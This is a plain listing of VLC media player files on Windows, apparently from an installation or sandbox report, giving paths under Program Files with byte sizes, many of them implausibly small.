%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_atomic.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libnormvol_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\kk\LC_MESSAGES\vlc.mo (9608 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libflacsys_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libaout_directx_plugin.dll (1856 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VideoLAN Website.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsid_plugin.dll (32784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_vdr_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\dailymotion.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png (115 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\da\LC_MESSAGES\vlc.mo (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtwolame_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_http_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\zu\LC_MESSAGES\vlc.mo (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_dummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\deprecated.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libgnutls_plugin.dll (64932 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\liblibbluray_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvdummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\metachannels.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\mosaic_window.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libaudio_format_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\host.luac (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\skin.catalog (167 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nb\LC_MESSAGES\vlc.mo (5064 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\footer (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\jamendo.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\mobile.css (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libugly_resampler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libcompressor_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_attachment_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_http_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\02_frenchtv.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_text_style.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libblend_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm_cmd.xml (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspeex_resampler_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libvod_rtsp_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\appletrailers.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libparam_eq_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_tls.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libaudiobargraph_v_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\prev.png (104 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibmpeg2_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\refresh.png (147 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xlib.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\stop.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_meta.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libheadphone_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\previous.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\tet\LC_MESSAGES\vlc.mo (484 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lg\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mlp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_langfromtelx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_realrtsp_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_variables.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\bn\LC_MESSAGES\vlc.mo (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\browse (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libstream_filter_rar_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_equalizer.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\fw.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\pkgconfig\vlc-plugin.pc (816 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_intf.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcanvas_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc-48.png (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_bd_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpanoramix_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\buttons.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\unselected.png (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\cli.luac (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\skin.dtd (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\favicon.ico (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_window.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libts_plugin.dll (5064 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Documentation.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\dumpmeta.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist.xml (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\rockbox_fm_presets.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_bits.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspeex_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_yuy2_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\THANKS.txt (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_00.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_playlist.h (15 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker.png (174 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libglobalhotkeys_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi420_rgb_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_rand.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_description_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\controlers.js (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\offset_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Other-48.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_shout_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mp4_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libspudec_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdtv_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawdv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\sout (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist.png (85 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\katsomo.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\browse_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\activex\README.TXT (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\vlm.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\jamendo.luac (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\eject.png (93 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libamem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\README.txt (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liblogo_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\liblogger_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdvbsub_plugin.dll (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\NEWS.txt (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ml\LC_MESSAGES\vlc.mo (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdnav_plugin.dll (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_select_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ach\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libavi_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\play_pause.png (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_06.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_events.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_rtp_plugin.dll (16424 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\common.js (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\soundcloud.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libremoteosd_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libplaylist_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\previous.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\vlc-cache-gen.exe (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.lib (18424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tospdif_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libquicktime_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_yuy2_mmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libwav_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libzvbi_plugin.dll (38495 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libgoom_plugin.dll (8560 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pa\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libdummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_right.png (91 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_wav_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.xml (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\jquery-ui-1.8.13.custom.css (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\stop.png (80 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\winamp2.xml (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotiondetect_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librss_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\dummy.luac (819 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libvisual_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_window.html (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_aout_mixer.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsepia_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\break.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_httplive_plugin.dll (15168 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\vlm (9 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\simplexml.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hu\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libsubtitle_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nn\LC_MESSAGES\vlc.mo (4992 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_tcp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\br\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_configuration.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libdeinterlace_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_dialog.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libexport_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_sout.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\playlist_jstree.xml (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-1.5.1.min.js (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hy\LC_MESSAGES\vlc.mo (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\librv32_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_03.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\reader\filename.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fr\LC_MESSAGES\vlc.mo (19592 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery-ui-1.8.13.custom.min.js (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\bw.png (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx31D.tmp\modern-wizard.bmp (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi422_yuy2_mmx_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\eu\LC_MESSAGES\vlc.mo (19592 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\liba52tofloat32_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\extreme.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libadjust_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_ftp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_up.png (112 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwall_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\vlm.xml (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_modules.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libaiff_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libidummy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vlm.h (12 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_delay_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_httpd.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ff\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmod_plugin.dll (16424 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libmediadirs_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\pinkbike.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\mn\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png (201 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\af\LC_MESSAGES\vlc.mo (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ps_plugin.dll (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\wa\LC_MESSAGES\vlc.mo (12024 bytes)
%Program Files% (x86)\VideoLAN\VLC\libvlccore.dll (68506 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_duplicate_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_view.html (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\th\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libxml_plugin.dll (35001 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdmo_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_fourcc.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpeg4video_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sout.png (102 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\repeat.png (105 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_udp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\volume.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\next.png (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\libnetsync_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\nl\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sort.png (111 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaraw_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\canalplus.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block_helper.h (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\libvlc.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libkate_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libreal_plugin.dll (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libwindrive_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\.hosts (122 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png (103 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\info.png (142 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default.cfg (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_standard_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\sk\LC_MESSAGES\vlc.mo (21216 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_codec.h (8 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ja\LC_MESSAGES\vlc.mo (23296 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_image.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\he\LC_MESSAGES\vlc.mo (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.json (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libogg_plugin.dll (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsvcdsub_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_http.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\default.vlt (5520 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\koreus.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_mms_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_setid_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input.h (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ne\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawvid_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libchain_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.lib (7192 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_stream.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_art_finder.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libtta_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libcaca_plugin.dll (25776 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_network.h (10 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mtime.h (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white_cross_small.png (96 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\equalizer_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libx264_plugin.dll (34773 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete_small.png (94 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpostproc_plugin.dll (6360 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_library.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_cpu.h (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libtrivial_channel_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lv\LC_MESSAGES\vlc.mo (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\modules\sandbox.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\playlist (7 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\my\LC_MESSAGES\vlc.mo (444 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcdg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libadpcm_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ru\LC_MESSAGES\vlc.mo (25824 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\hr\LC_MESSAGES\vlc.mo (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_file_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfloat32_mixer_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libbluescreen_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\lelombrik.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\Documentation.url (55 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmkv_plugin.dll (34773 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_vc1_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libantiflicker_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\librtp_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\vi\LC_MESSAGES\vlc.mo (6584 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Release Notes.lnk (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i420_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libh264_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_block.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSans.ttf (9320 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\next.png (101 bytes)
%Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_09.png (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libgme_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\lt\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc.h (15 bytes)
C:\Users\Public\Desktop\VLC media player.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx31D.tmp (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ar\LC_MESSAGES\vlc.mo (11344 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\control\liboldrc_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\intf\http.luac (13 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_epg.h (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libgrey_yuv_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es.h (11 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\fullscreen.png (121 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\librotate_plugin.dll (1552 bytes)
